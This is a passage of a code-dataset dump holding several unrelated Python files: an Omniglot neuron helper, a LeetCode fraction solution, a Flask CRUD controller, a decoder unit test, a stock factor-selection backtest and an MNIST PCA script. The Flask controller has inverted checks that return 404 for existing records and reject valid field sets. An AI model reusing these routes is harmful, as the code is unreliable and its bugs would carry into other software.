\"x\":0,\n \"y\":0\n },\n \"vector_2\":{\n \"x\":0,\n \"y\":0\n },\n \"length_c\":0\n }\n if neurons_pool==-1:\n neurons_pool = self.lst_nrns\n \n neuron = self.get_neuron_from_id(neuron_id, neurons_pool)\n max_distance = 0.0\n tip_nrn_id = 0\n for nrn_id in neuron[\"meta\"][\"field_list\"]:\n crnt_nrn = self.get_neuron_from_id(nrn_id, neurons_pool)\n # calcule la distance entre ce neurone et le centre\n crnt_dist = self.calc_dist(neuron[\"meta\"][\"real_center\"],crnt_nrn[\"meta\"][\"center\"])\n if crnt_dist>max_distance:\n max_distance = crnt_dist\n tip_nrn_id = nrn_id\n # calcule les données output\n crnt_nrn = self.get_neuron_from_id(tip_nrn_id, neurons_pool)\n output[\"local_tip_1\"] = crnt_nrn[\"meta\"][\"center\"]\n\n # vérifie si la distance avec le tip1 est plus éloigné\n lcl_tip1 = {\n \"x\":0,\n \"y\":0\n }\n lcl_tip1[\"x\"] = output[\"local_tip_1\"][\"x\"] + crnt_nrn[\"meta\"][\"vector_1\"][\"x\"]\n lcl_tip1[\"y\"] = output[\"local_tip_1\"][\"y\"] + crnt_nrn[\"meta\"][\"vector_1\"][\"y\"]\n crnt_dist = self.calc_dist(neuron[\"meta\"][\"real_center\"],lcl_tip1)\n # si c'est le cas, utilise cette nouvelle distance\n if crnt_dist>max_distance:\n max_distance = crnt_dist\n output[\"local_tip_1\"] = lcl_tip1\n output[\"vector_1\"][\"y\"] = ( crnt_nrn[\"meta\"][\"vector_2\"][\"y\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"y\"] ) / 2\n output[\"vector_1\"][\"x\"] = ( crnt_nrn[\"meta\"][\"vector_2\"][\"x\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"x\"] ) / 2\n else:\n lcl_tip1[\"x\"] = output[\"local_tip_1\"][\"x\"] + crnt_nrn[\"meta\"][\"vector_2\"][\"x\"]\n lcl_tip1[\"y\"] = output[\"local_tip_1\"][\"y\"] + crnt_nrn[\"meta\"][\"vector_2\"][\"y\"]\n crnt_dist = self.calc_dist(neuron[\"meta\"][\"real_center\"],lcl_tip1)\n # si c'est le cas, utilise cette nouvelle distance\n if crnt_dist>max_distance:\n max_distance = crnt_dist\n output[\"local_tip_1\"] = lcl_tip1\n output[\"vector_1\"][\"y\"] = -( crnt_nrn[\"meta\"][\"vector_2\"][\"y\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"y\"] ) / 2\n output[\"vector_1\"][\"x\"] = -( crnt_nrn[\"meta\"][\"vector_2\"][\"x\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"x\"] ) / 2\n \n for nrn_id in neuron[\"meta\"][\"field_list\"]:\n crnt_nrn = self.get_neuron_from_id(nrn_id, neurons_pool)\n crnt_dist = self.calc_dist(output[\"local_tip_1\"],crnt_nrn[\"meta\"][\"center\"])\n if crnt_dist>max_distance:\n max_distance = crnt_dist\n tip_nrn_id = nrn_id\n # calcule les données output\n crnt_nrn = self.get_neuron_from_id(tip_nrn_id, neurons_pool)\n output[\"local_tip_2\"] = crnt_nrn[\"meta\"][\"center\"]\n output[\"vector_2\"][\"y\"] = ( crnt_nrn[\"meta\"][\"vector_2\"][\"y\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"y\"] ) / 2\n output[\"vector_2\"][\"x\"] = ( crnt_nrn[\"meta\"][\"vector_2\"][\"x\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"x\"] ) / 2\n\n # vérifie si la distance avec le tip1 est plus éloigné\n lcl_tip2 = {\n \"x\":0,\n \"y\":0\n }\n lcl_tip2[\"x\"] = output[\"local_tip_2\"][\"x\"] + crnt_nrn[\"meta\"][\"vector_1\"][\"x\"]\n lcl_tip2[\"y\"] = output[\"local_tip_2\"][\"y\"] + crnt_nrn[\"meta\"][\"vector_1\"][\"y\"]\n crnt_dist = self.calc_dist(output[\"local_tip_1\"],lcl_tip2)\n # si c'est le cas, utilise cette nouvelle distance\n if crnt_dist>max_distance:\n max_distance = crnt_dist\n output[\"local_tip_2\"] = lcl_tip2\n output[\"vector_2\"][\"y\"] = ( crnt_nrn[\"meta\"][\"vector_2\"][\"y\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"y\"] ) / 2\n output[\"vector_2\"][\"x\"] = ( crnt_nrn[\"meta\"][\"vector_2\"][\"x\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"x\"] ) / 2\n else:\n lcl_tip2[\"x\"] = output[\"local_tip_2\"][\"x\"] + crnt_nrn[\"meta\"][\"vector_2\"][\"x\"]\n lcl_tip2[\"y\"] = output[\"local_tip_2\"][\"y\"] + crnt_nrn[\"meta\"][\"vector_2\"][\"y\"]\n crnt_dist = self.calc_dist(output[\"local_tip_1\"],lcl_tip2)\n # si c'est le cas, utilise cette nouvelle distance\n if crnt_dist>=max_distance:\n max_distance = crnt_dist\n output[\"local_tip_2\"] = lcl_tip2\n output[\"vector_2\"][\"y\"] = -( crnt_nrn[\"meta\"][\"vector_2\"][\"y\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"y\"] ) / 2\n output[\"vector_2\"][\"x\"] = -( crnt_nrn[\"meta\"][\"vector_2\"][\"x\"] - crnt_nrn[\"meta\"][\"vector_1\"][\"x\"] ) / 2\n output[\"length_c\"] = np.round((self.calc_dist(output[\"local_tip_1\"],neuron[\"meta\"][\"real_center\"])+self.calc_dist(output[\"local_tip_2\"],neuron[\"meta\"][\"real_center\"])))\n return output\n\n \n def calc_vector_length(self,vector):\n X_D = pow(vector[\"x\"] ,2)\n Y_D = pow(vector[\"y\"], 2)\n return pow(X_D+Y_D,0.5)\n\n\n def get_vector_scalar(self,vector_1, vector_2):\n l1 = self.calc_vector_length(vector_1)\n l2 = self.calc_vector_length(vector_2)\n return l1 * l2 * np.cos(self.calc_angle(vector_1,vector_2))\n\n\n def remove_nrn_pos(self, position, neurons_pool=-1):\n lbl_General_Pool = False\n if neurons_pool==-1:\n lbl_General_Pool = True\n neurons_pool = self.lst_nrns\n nrn_id = neurons_pool[position].neuron[\"_id\"]\n layer_id = neurons_pool[position].neuron[\"layer_id\"]\n\n neurons_pool.pop(position)\n if lbl_General_Pool:\n self.nb_nrns = len(self.lst_nrns)\n self.netGraph.remove_node(nrn_id)\n self.layer_graph[layer_id-1].remove_node(nrn_id)\n return self.nb_nrns - 1\n\n\n def remove_nrn_by_id(self, nrn_id, neurons_pool=-1):\n lbl_General_Pool = False\n if neurons_pool==-1:\n lbl_General_Pool = True\n neurons_pool = self.lst_nrns\n for nrn_pos in range(len(neurons_pool)):\n if neurons_pool[nrn_pos].neuron[\"_id\"]==nrn_id:\n if nrn_id==128:\n print(nrn_id,len(neurons_pool))\n if lbl_General_Pool:\n return self.remove_nrn_pos(nrn_pos, -1)\n return self.remove_nrn_pos(nrn_pos, neurons_pool)\n return False\n\n ","repo_name":"oliviermanette/Sentive-One-Shot-Learning-Omniglot","sub_path":"metadl/starting_kit/model_dir/code_dir/sentive/sentive_neuron_helper.py","file_name":"sentive_neuron_helper.py","file_ext":"py","file_size_in_byte":25088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31934311356","text":"# Given two integers representing the numerator and denominator of a fraction, return the fraction in string format.\n# If the fractional part is repeating, enclose the repeating part in parentheses.\n# If multiple answers are possible, return any of them.\n# It is guaranteed that the length of the answer string is less than 104 for all the given inputs.\n#\n# Example 1:\n#\n# Input: numerator = 1, denominator = 2\n# Output: \"0.5\"\n#\n# Example 2:\n#\n# Input: numerator = 2, denominator = 1\n# Output: \"2\"\n#\n# Example 3:\n#\n# Input: numerator = 4, denominator = 333\n# Output: \"0.(012)\"\n#\n# Constraints:\n#\n# -2^31 <= numerator, denominator <= 2^31 - 1\n# denominator != 0\n\n\n# e.g. numerator = 4, denominator = 333\n# dic {}\n# n 4\n# dic {4: 2}\n# n 40\n# dic {4: 2, 40: 3}\n# n 67\n# dic {4: 2, 40: 3, 67: 4}\n# n 4\nclass Solution:\n def fractionToDecimal(self, numerator: int, denominator: int) -> str:\n if numerator == 0:\n return \"0\"\n\n s = \"\"\n if (numerator < 0) ^ (denominator < 0):\n s += \"-\"\n\n n, d = abs(numerator), abs(denominator)\n\n s += str(n // d)\n n %= d\n\n if n == 0:\n return s\n\n s += \".\"\n\n dic = {}\n while n != 0:\n if n in dic:\n i = dic[n] # repeat starting index\n s = s[:i] + \"(\" + s[i:] + \")\"\n break\n\n dic[n] = len(s)\n\n n *= 10\n s += str(n // d)\n n %= d\n\n return s\n","repo_name":"hongbo-miao/leetcode","sub_path":"Python/0166. Fraction to Recurring Decimal.py","file_name":"0166. Fraction to Recurring Decimal.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":197,"dataset":"github-code","pt":"3"} +{"seq_id":"12660133176","text":"from flask import redirect, request, jsonify, Response\nfrom pycrud import app , db\nfrom pycrud.models.country import Country , CountrySchema\n\n#Json Schemas\ncountry_schema = CountrySchema(strict=True)\ncountries_schema = CountrySchema(many=True,strict=True)\n\nroute = \"/country\"\n\n@app.route(route, methods=['POST'])\ndef create_country():\n country_fields = ('name', 'status')\n if country_fields == tuple(request.json.keys()):\n return Response(\"list of fields sent are not compatible with the model's fields\", status=400,mimetype=\"text/plain\")\n\n name = request.json[country_fields[0]]\n status = request.json[country_fields[1]]\n\n new_country = Country(name, status)\n db.session.add(new_country)\n db.session.commit()\n\n return country_schema.jsonify(new_country)\n\n@app.route(route, methods=['GET'])\ndef get_products():\n all_countries = Country.query.all()\n all_countries = filter(lambda prod: prod.status == True, all_countries)\n result = countries_schema.dump(all_countries)\n return jsonify(result.data)\n\n@app.route('%s/' % route, methods=['GET'])\ndef get_product(id):\n country = Country.query.filter_by(id=id, status=True).first()\n \n if country:\n return Response(status=404)\n\n result = country_schema.dump(country)\n return jsonify(result.data)\n \n@app.route('%s/' % route, methods=[\"PUT\"]) \ndef update_country(id):\n country = Country.query.filter_by(id=id, status=True).first()\n\n for (key, value) in request.json.items():\n if not hasattr(country, key):\n return Response(\"Country doesnt have fields << %s >>\" % key, status=400, mimetype=\"text/plain\")\n setattr(country, key, value)\n\n db.session.commit()\n return country_schema.jsonify(country)\n\n@app.route('%s/' % route, methods=[\"DELETE\"])\ndef country_unlink(id):\n country = Country.query.filter_by(id=id, status=True).first()\n\n if country:\n return Response(status=404)\n\n country.status = False\n db.session.commit()\n return country_schema.jsonify(country)\n","repo_name":"andjim/pycrud","sub_path":"controllers/countryController.py","file_name":"countryController.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"8673636649","text":"import torch\n\nfrom .ff_ingr_decoder import FFIngredientDecoder\n\n\ndef test_ff_ingr_decoder():\n ff_ingr_decoder = FFIngredientDecoder(\n embed_size=1024, vocab_size=123, hidden_size=2048, dropout=0.1, n_layers=3\n )\n ff_ingr_decoder.add_cardinality_prediction(max_num_ingredients=20)\n x = torch.randn(size=(2, 1024, 4))\n logits, cardinality = ff_ingr_decoder(x)\n assert logits.shape == torch.Size([2, 122]) # Removed one of the EOS\n assert cardinality.shape == torch.Size([2, 20]) # Not able to predict 0\n","repo_name":"facebookresearch/gismo","sub_path":"inv_cooking/models/ingredients_predictor/modules/test_ff_ingr_decoder.py","file_name":"test_ff_ingr_decoder.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"3"} +{"seq_id":"14357192309","text":"# coding:utf-8\n# 多因子选股实现\n\n\nimport backtrader as bt\nimport backtrader.indicators as bi\nimport backtest\nimport pandas as pd\nimport tushare as ts\nimport matplotlib.pyplot as plt\nfrom xpinyin import Pinyin\nimport datetime\nimport random\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import metrics\nfrom sklearn.externals import joblib\nimport numpy as np\n\n\n# 获取股票数据，进行初步筛选，返回供因子分析的股票数据。\ndef getFactors():\n# data = ts.get_stock_basics()\n# print(data.head())\n# print(len(data))\n# data.to_csv(\"stocks.csv\")\n data = pd.read_csv(\"stocks.csv\", index_col = \"code\")\n # 排除亏损的股票\n data = data[data.npr > 0.0]\n # 排除上市不满2年的\n data = data[data.timeToMarket <= 20180801]\n # 排除ST股票\n data = data[~ data.name.str.contains(\"ST\")]\n # 排除代码小于100000的股票\n data = data[data.index >= 100000]\n # print(data)\n return data\n\n\n# 分析数据\ndef analysis(factors):\n print(\"平均市盈率:%.2f\" % (factors.pe.mean()))\n print(\"每股收益:%.2f\" % (factors.esp.mean()))\n print(\"每股净资产:%.2f\" % (factors.bvps.mean()))\n print(\"平均市净率:%.2f\" % (factors.pb.mean()))\n print(\"平均每股净利润:%.2f\" % (factors.npr.mean()))\n print(\"平均股东人数:%.2f\" % (factors.holders.mean()))\n # 绘图\n print(factors.pe)\n plt.figure()\n factors.pe.hist(bins = 100, range = (0, 2.0), align = \"left\")\n plt.savefig(\"PE.png\")\n plt.figure()\n factors.esp.hist(bins = 100, range = (0, 2.0), align = \"left\")\n plt.savefig(\"ESP.png\")\n plt.figure()\n factors.pb.hist(bins = 100, range = (0, 50.0), align = \"left\")\n plt.savefig(\"PB.png\")\n plt.figure()\n factors.npr.hist(bins = 100, range = (0, 50.0), align = \"left\")\n plt.savefig(\"NPR.png\")\n plt.figure()\n factors.holders.hist(bins = 100, range = (0, 50.0), align = \"left\")\n plt.savefig(\"HOLDERS.png\")\n \n \n# 计算评分指标\ndef scale(factors, a1=1.0, a2 = 1.0, a3 = 1.0, a4 = 1.0, a5 = 1.0):\n pe = -1.0*a1*factors.pe/factors.pe.mean()\n esp = a2*factors.esp/factors.esp.mean()\n bvps = a3*factors.bvps/factors.bvps.mean()\n pb = a4*factors.pb/factors.pb.mean()\n npr = a5*factors.npr/factors.npr.mean()\n score = pe+esp+bvps+pb+npr\n # print(score)\n # 排序并画图\n score = score.sort_values()\n # print(score)\n # score.plot(kind = \"hist\", bins = 1000, range = (-25.0, 30.0))\n # plt.savefig(\"fsctorScore.png\")\n return score\n \n \n# 交易策略类，一开始买入然后持有。\nclass FactorStrategy(bt.Strategy):\n def __init__(self):\n self.p_value = self.broker.getvalue()*0.9/10.0\n self.bOutput = False\n \n def next(self):\n # 买入\n for data in self.datas:\n # 获取仓位\n pos = self.getposition(data).size\n if pos == 0:\n size = int(self.p_value/100/data.close[0])*100\n self.buy(data = data, size = size)\n # 最后卖出\n date = self.datas[0].datetime.date(0)\n closeDate = datetime.datetime(2020, 7, 2)\n if date.year == closeDate.year and date.month == closeDate.month and date.day == closeDate.day:\n for data in self.datas:\n pos = self.getposition(data).size\n if pos != 0:\n self.sell(data = data, size = pos )\n \n # 输出\n def log(self, txt):\n print(txt)\n \n # 输出交易过程\n def __displayOrder(self, buy, order):\n if buy:\n self.log(\n '执行买入, 价格: %.2f, 成本: %.2f, 手续费 %.2f' %\n (order.executed.price,\n order.executed.value,\n order.executed.comm))\n else:\n self.log(\n '执行卖出, 价格: %.2f, 成本: %.2f, 手续费 %.2f' %\n (order.executed.price,\n order.executed.value,\n order.executed.comm))\n \n # 交易情况\n def notify_order(self, order):\n if self.bOutput == False:\n return\n if order.status in [order.Submitted, order.Accepted]:\n return\n if order.status in [order.Completed]:\n if order.isbuy():\n self.__displayOrder(True, order)\n elif order.issell():\n self.__displayOrder(False, order)\n self.order = None\n \n \n# 根据股票代码找股票名称\ndef fromCodeToName(factors, codes):\n # 准备数据\n name = factors[factors.index.isin(codes)].name.values\n # 将汉字转换为拼音\n p = Pinyin()\n names = [p.get_pinyin(s) for s in name]\n return names\n \n \n# 实际做回测的函数\ndef doBacktest(factors, strategy, a1, a2, a3, a4, a5, start, end, cash):\n score = scale(factors, a1, a2, a3, a4, a5)\n codes = score[-10:].index\n name = fromCodeToName(factors, codes)\n code = [str(x) for x in codes]\n opttest = backtest.BackTest(strategy, start, end, code, name, cash, bDraw = False)\n result = opttest.run()\n return result, code\n \n \n# 对不同的因子权重组合进行优化\ndef optStrategy(factors, strategy, cash = 1000000, bDraw = False):\n start = \"2018-01-01\"\n end = \"2020-07-05\"\n\n res = []\n maxRes = 0.0\n maxParams = [0, 0, 0, 0, 0]\n x = 200\n step = 100\n for a1 in range(1, x, step):\n for a2 in range(1, x, step):\n for a3 in range(1, x, step):\n for a4 in range(1, x, step):\n for a5 in range(1, x, step):\n result, code = doBacktest(factors, strategy, a1, a2, a3, a4, a5, start, end, cash)\n print(\"a1 = {}, a2 = {}, a3 = {}, a4 = {}, a5 = {}, 年化收益率: {}\\n\".format(a1, a2, a3, a4, a5, result.年化收益率))\n res.append(result.年化收益率)\n if result.年化收益率 > maxRes:\n maxRes = result.年化收益率\n maxParams = [a1, a2, a3, a4, a5]\n print(\"最佳权重:\", maxParams, \"最大年化收益率:\", maxRes)\n return res\n \n \n# 采用随机算法进行优化\ndef randOpt(factors, strategy, times = 200, cash = 1000000, bDraw = False):\n start = \"2018-01-01\"\n end = \"2020-07-05\"\n\n # 记录结果用来进行进一步分析\n data = pd.DataFrame()\n res = []\n maxRes = 0.0\n maxParams = [0, 0, 0, 0, 0]\n random.seed()\n for i in range(times):\n a1 = random.randint(1, 200)\n a2 = random.randint(1, 200)\n a3 = random.randint(1, 200)\n a4 = random.randint(1, 200)\n a5 = random.randint(1, 200)\n result, code = doBacktest(factors, strategy, a1, a2, a3, a4, a5, start, end, cash)\n print(\"第{}次尝试:a1 = {}, a2 = {}, a3 = {}, a4 = {}, a5 = {}, 年化收益率: {}\\n\".format(i+1, a1, a2, a3, a4, a5, result.年化收益率))\n \n res.append(result.年化收益率)\n data = data.append(pd.DataFrame({\"a1\":[a1], \"a2\":[a2], \"a3\":[a3], \"a4\":[a4], \"a5\":[a5], \"result\":[result.年化收益率]}), ignore_index = True)\n if result.年化收益率 > maxRes:\n maxRes = result.年化收益率\n maxParams = [a1, a2, a3, a4, a5]\n print(\"最佳权重:\", maxParams, \"最大年化收益率:\", maxRes)\n # data.reset_index(drop = True)\n data.to_csv(\"factor_result.csv\")\n return res\n \n \n# 绘图\ndef draw(data, filename):\n plt.figure()\n plt.tight_layout()\n plt.subplots_adjust(wspace = 0.5, hspace = 0.5)\n plt.subplot(231)\n plt.plot(data.a1, data.result, \"bo\")\n plt.xlabel(\"pe\")\n plt.ylabel(\"ar\")\n plt.subplot(232)\n plt.plot(data.a2, data.result, \"bo\")\n plt.xlabel(\"esp\")\n plt.ylabel(\"ar\")\n plt.subplot(233)\n plt.plot(data.a3, data.result, \"bo\")\n plt.xlabel(\"bvps\")\n plt.ylabel(\"ar\")\n plt.subplot(234)\n plt.plot(data.a4, data.result, \"bo\")\n plt.xlabel(\"pb\")\n plt.ylabel(\"ar\")\n plt.subplot(235)\n plt.plot(data.a5, data.result, \"bo\")\n plt.xlabel(\"npr\")\n plt.ylabel(\"ar\")\n plt.savefig(filename)\n \n# 回归分析\ndef regress(data):\n print(data)\n draw(data, \"factor_analysis.png\")\n # 剔除年化收益率在0.1-0.2之间的数据\n data = data[data.result > 0.2]\n draw(data, \"factor_after_clean.png\")\n # 进行多元线性回归\n # 划分数据\n print(data.describe())\n X = data.loc[:, [\"a1\", \"a2\", \"a3\", \"a4\", \"a5\"]]\n Y = data.loc[:, [\"result\"]]\n # print(\"测试\")\n # print(X, Y)\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.25, random_state = 1)\n print(X_test, Y_test)\n # 建模\n model = LinearRegression()\n model.fit(X_train, Y_train)\n predictions = model.predict(X_test)\n cha = []\n for i, prediction in enumerate(predictions):\n print(\"预测值:%s, 目标值:%s\" % (prediction, Y_test.iloc[i, :]))\n cha.append(prediction - Y_test.iloc[i, :])\n print(\"R平方值:%.2f\" % model.score(X_test, Y_test))\n MSE = metrics.mean_squared_error(Y_test, predictions)\n RMSE = np.sqrt(MSE)\n print(\"MSE:\", MSE)\n print(\"RMSE:\", RMSE)\n # 画图看看\n plt.figure(figsize=(15,5))\n plt.plot(range(len(Y_test)), Y_test, 'r', label='test data')\n plt.plot(range(len(Y_test)), predictions, 'b', label='predict data')\n plt.legend()\n plt.savefig(\"因子选股线性回归结果.png\")\n plt.figure()\n plt.scatter(Y_test, predictions)\n plt.plot([Y_test.min(),Y_test.max()], [Y_test.min(),Y_test.max()], 'k--')\n plt.xlabel('real value')\n plt.ylabel('predict value')\n plt.savefig(\"因子选股线性回归结果(散点图).png\")\n # 画残差图\n plt.figure()\n plt.scatter(range(len(Y_test)), cha)\n plt.ylabel(\"cha\")\n plt.savefig(\"因子选股线性回归残差图.png\")\n # 保存模型\n joblib.dump(model, \"Regress.m\")\n return model\n \n \n# 用线性回归所得模型选择因子权重\ndef regressChoose(factors, strategy, model, times = 200, cash = 1000000, bDraw = False):\n start = \"2018-01-01\"\n end = \"2020-07-05\"\n\n random.seed()\n best = 0.0\n bestWeight = [0, 0, 0, 0, 0]\n data = pd.DataFrame()\n N = 200\n for i in range(times):\n a1 = random.randint(1, N)\n a2 = random.randint(1, N)\n a3 = random.randint(1, N)\n a4 = random.randint(1, N)\n a5 = random.randint(1, N)\n data = data.append(pd.DataFrame({\"a1\":[a1], \"a2\":[a2], \"a3\":[a3], \"a4\":[a4], \"a5\":[a5]}), ignore_index = True)\n # print(data)\n pred = model.predict(data)\n best = pred.max()\n bestPos = np.argmax(pred)\n bestWeight = [data.iloc[bestPos, 0], data.iloc[bestPos, 1], data.iloc[bestPos, 2], data.iloc[bestPos, 3], data.iloc[bestPos, 4]]\n result, code = doBacktest(factors, strategy, bestWeight[0], bestWeight[1], bestWeight[2], bestWeight[3], bestWeight[4], start, end, cash)\n print(\"模型预测年化收益率{}, 实际回测年化收益率: {}\\n\".format(best, result.年化收益率)) \n return code\n \n \n# 根据输入的股票池进行回测检验\ndef checkResult(strategy, codes, names, start, end, cash = 1000000):\n opttest = backtest.BackTest(strategy, start, end, codes, names, cash)\n result = opttest.run()\n print(\"回测结果\")\n print(result)\n \n\nif __name__ == \"__main__\":\n factors = getFactors()\n # analysis(factors)\n# score = scale(factors)\n# codes = score[-10:].index\n # 进行回测\n# start = \"2018-01-01\"\n# end = \"2020-07-05\"\n# name = factors.loc[codes, \"name\"].values\n # 将汉字转换为拼音\n# p = Pinyin()\n# name = [p.get_pinyin(s) for s in name]\n# code = [str(x) for x in codes]\n# # print(len(name), code)\n# backtest = backtest.BackTest(FactorStrategy, start, end, code, name, 1000000, bDraw = True)\n# result = backtest.run()\n # backtest.output()\n# print(result)\n #res = optStrategy(factors, FactorStrategy)\n# print(res)\n# plt.figure()\n# plt.hist(res)\n# plt.savefig(\"factor_res.png\")\n # 随机算法\n # res = randOpt(factors, FactorStrategy, times = 8000)\n # print(res)\n # plt.figure()\n # plt.hist(res)\n # plt.savefig(\"factor_res.png\")\n # 回归分析\n data = pd.read_csv(\"factor_result.csv\", index_col = 0)\n model = regress(data)\n # 用回归分析的结果进行回测\n model = joblib.load(\"Regress.m\")\n bestResult = regressChoose(factors, FactorStrategy, model, times = 10000)\n print(\"股票池为:\", bestResult)\n start = \"2010-01-01\"\n end = \"2020-07-05\"\n name = fromCodeToName(factors, bestResult)\n checkResult(FactorStrategy, bestResult, name, start, end)\n \n","repo_name":"zwdnet/MyQuant","sub_path":"47/facts.py","file_name":"facts.py","file_ext":"py","file_size_in_byte":12788,"program_lang":"python","lang":"en","doc_type":"code","stars":207,"dataset":"github-code","pt":"3"} +{"seq_id":"388011624","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 2 16:25:02 2017\n\n@author: andyp\n\nThis program is for the classification and anaylsis of the MNIST 10 Digit dataset. Runs dimension reduction using PCA, followed by k-means clustering and Bayesian classification on the dataset.\n\"\"\"\n\nimport os, struct\nimport matplotlib as plt\nimport scipy.sparse as sparse\nimport scipy.linalg as linalg\n\nfrom array import array as pyarray\nfrom numpy import append, array, int8, uint8, zeros as np\nfrom pylab import *\nfrom numpy import *\nimport numpy.linalg as LA\nimport pandas as pd\n\ndef load_mnist(dataset=\"training\", digits=range(10), path='D:\\\\MachineLearning\\\\UCSC Course\\\\HW3_TrainingSet'):\n \n \"\"\"\n Adapted from: http://cvxopt.org/applications/svm/index.html?highlight=mnist\n \"\"\"\n\n if dataset == \"training\":\n fname_img = os.path.join(path, 'train-images.idx3-ubyte')\n fname_lbl = os.path.join(path, 'train-labels.idx1-ubyte')\n elif dataset == \"testing\":\n fname_img = os.path.join(path, 't10k-images.idx')\n fname_lbl = os.path.join(path, 't10k-labels.idx')\n else:\n raise ValueError(\"dataset must be 'testing' or 'training'\")\n\n flbl = open(fname_lbl, 'rb')\n magic_nr, size = struct.unpack(\">II\", flbl.read(8))\n lbl = pyarray(\"b\", flbl.read())\n flbl.close()\n\n fimg = open(fname_img, 'rb')\n magic_nr, size, rows, cols = struct.unpack(\">IIII\", fimg.read(16))\n img = pyarray(\"B\", fimg.read())\n fimg.close()\n\n ind = [ k for k in range(size) if lbl[k] in digits ]\n N = len(ind)\n\n images = zeros((N, rows, cols), dtype=uint8)\n labels = zeros((N, 1), dtype=int8)\n for i in range(len(ind)):\n images[i] = array(img[ ind[i]*rows*cols : (ind[i]+1)*rows*cols ]).reshape((rows, cols))\n labels[i] = lbl[ind[i]]\n\n return images, labels\n\ndef displayImg(X, amount):\n if (X.shape[1] == 784):\n for s in range(amount):\n plt.imshow(X[s].reshape(28, 28), interpolation='None', cmap=cm.gray)\n plt.show()\n else:\n print(\"Dimension is not 784.\")\n \ndef getX(digits): \n images, labels = load_mnist('training', digits=digits)\n # converting from NX28X28 array into NX784 array\n flatimages = list()\n for i in images:\n flatimages.append(i.ravel())\n X = np.asarray(flatimages)\n return X, [images, labels]\n \ndef getZ(X):\n \"\"\"Returns mean subtracted from X matrix.\"\"\"\n mean_vector = np.mean(X, axis=0)\n Z = X - mean_vector\n checkZ(Z, X, mean_vector, 0, 255)\n return Z, mean_vector\n\ndef checkZ(Z, X, mean_vector, minimum, maximum):\n m1 = np.amin(mean_vector)\n m2 = np.amax(mean_vector)\n zMean = np.mean(Z, axis=0)\n mz1 = np.amin(zMean)\n mz2 = np.amax(zMean)\n \n for x in zMean:\n if round(x) != 0:\n print(\"Mean of Z is not a vector of 0s. \", x)\n return False\n \n if (mean_vector.shape != (X.shape[1], )):\n print(\"Your mean vector is not the correct shape. \", mean_vector.shape)\n return False\n elif (m1 < minimum) or (m2 > maximum):\n print(\"Mean vector max and mins are outside the bounds. \", \"Min: \", m1, \" Max: \", m2)\n return False\n elif (Z.shape != X.shape):\n print(\"Z dimensions are wrong. \", Z.shape)\n return False\n elif (mz1 > 0) or (mz2 < 0):\n print(\"Mean of Z min and max are out of bounds. \", \"Min: \", mz1, \" Max: \", mz2)\n return False\n else:\n return True\n \ndef getC(Z):\n \"\"\"Returns covariance matrix given mean subtracted from feature matrix\"\"\"\n C = np.cov(Z, rowvar=False)\n #print(\"Shape of C is:\", C.shape)\n \n#==============================================================================\n# # Checking for symmetry\n# for row in range(len(C.shape)):\n# if C[row][row] < 0:\n# print(C[row][row], \"is negative!\")\n# for col in range(len(C[0].shape)):\n# if C[row][col] != C[col][row]:\n# print(C[row][col], \"is not equal to\", C[col][row])\n#==============================================================================\n return C\n \ndef getV(C):\n \"\"\"Returns eigenvector matrices based on covariance matrix. The rows represent eigenvectors.\"\"\"\n [theta, V] = LA.eigh(C)\n V = np.flipud(V.T) # Transposed because python formats columns as eigenvectors\n theta = np.flipud(theta) # Theta are eigenvalues\n \n # CHECKING FOR NORMALIZATION\n#==============================================================================\n# for r in range(10):\n# s = np.power(V[r], 2)\n# totalS = np.sum(s)\n# q = np.sqrt(totalS)\n# print (q)\n#==============================================================================\n#==============================================================================\n# pairs = [[11,12], [13, 17], [14, 10]]\n# for p in pairs:\n# multiplied = np.multiply(V[p[0]], V[p[1]])\n# print(np.sum(multiplied))\n#==============================================================================\n return [theta, V]\n\ndef getP(V, Z):\n \"\"\"Returns principal components matrix given eigenvectors. Columns are principal components\"\"\"\n P = np.dot(Z, V.T)\n #print(P.shape)\n return P\n \ndef getPrincipalComponents(P, V, number):\n \"\"\"Returns the chosen number of principal components to do reduction on.\"\"\"\n PC = np.dot(P[:, 0:number], V[0:number, :])\n #print(PC.shape)\n return PC\n \ndef printVector(vector):\n f = \"printedVectors.txt\"\n file = open(f, 'w')\n for v in vector:\n v = str(v) + \",\"\n #v = v.replace(\"[\", \"\").replace(\"]\", \"\")\n #file.write(np.array_str(v))\n file.write(v)\n file.write(\"\\n\\n\")\n file.close()\n\ndef plotPC(PC1, PC2, labelList):\n \"\"\"Plots a scatter plot of the any 2 specified dimensions after running PCA.\"\"\"\n pc1 = [[],[],[],[],[],[],[],[],[],[]]\n pc2 = [[],[],[],[],[],[],[],[],[],[]]\n for l in range(len(labelList)):\n # l returns a number within a numpy array\n actualNum = labelList[l][0]\n pc1[actualNum].append(PC1[l])\n pc2[actualNum].append(PC2[l])\n fig = plt.figure()\n ax = fig.add_subplot(111)\n colorList = [\"red\", \"green\", \"blue\", \"black\", \"gray\", \"yellow\", \"cyan\", \"magenta\", \"burlywood\", \"purple\"]\n for count in range(10):\n plt.scatter(pc1[count], pc2[count], c=colorList[count], lw=0, label = str(count))\n plt.legend(scatterpoints = 1 )\n ax.set_xlabel(\"PC1\"); ax.set_ylabel(\"PC2\")\n fig.savefig(\"2D_10MNistGraph.png\")\n plt.close()\n \ndef createBayesianPDF(query, X):\n \"\"\"Creates a probability density function and uses it to return the probability of the query being in a label class.\"\"\"\n X = np.asarray(X)\n sampleSize = X.shape[0]\n muX = np.mean(X, axis=0)\n z = X - muX\n c = np.cov(z, 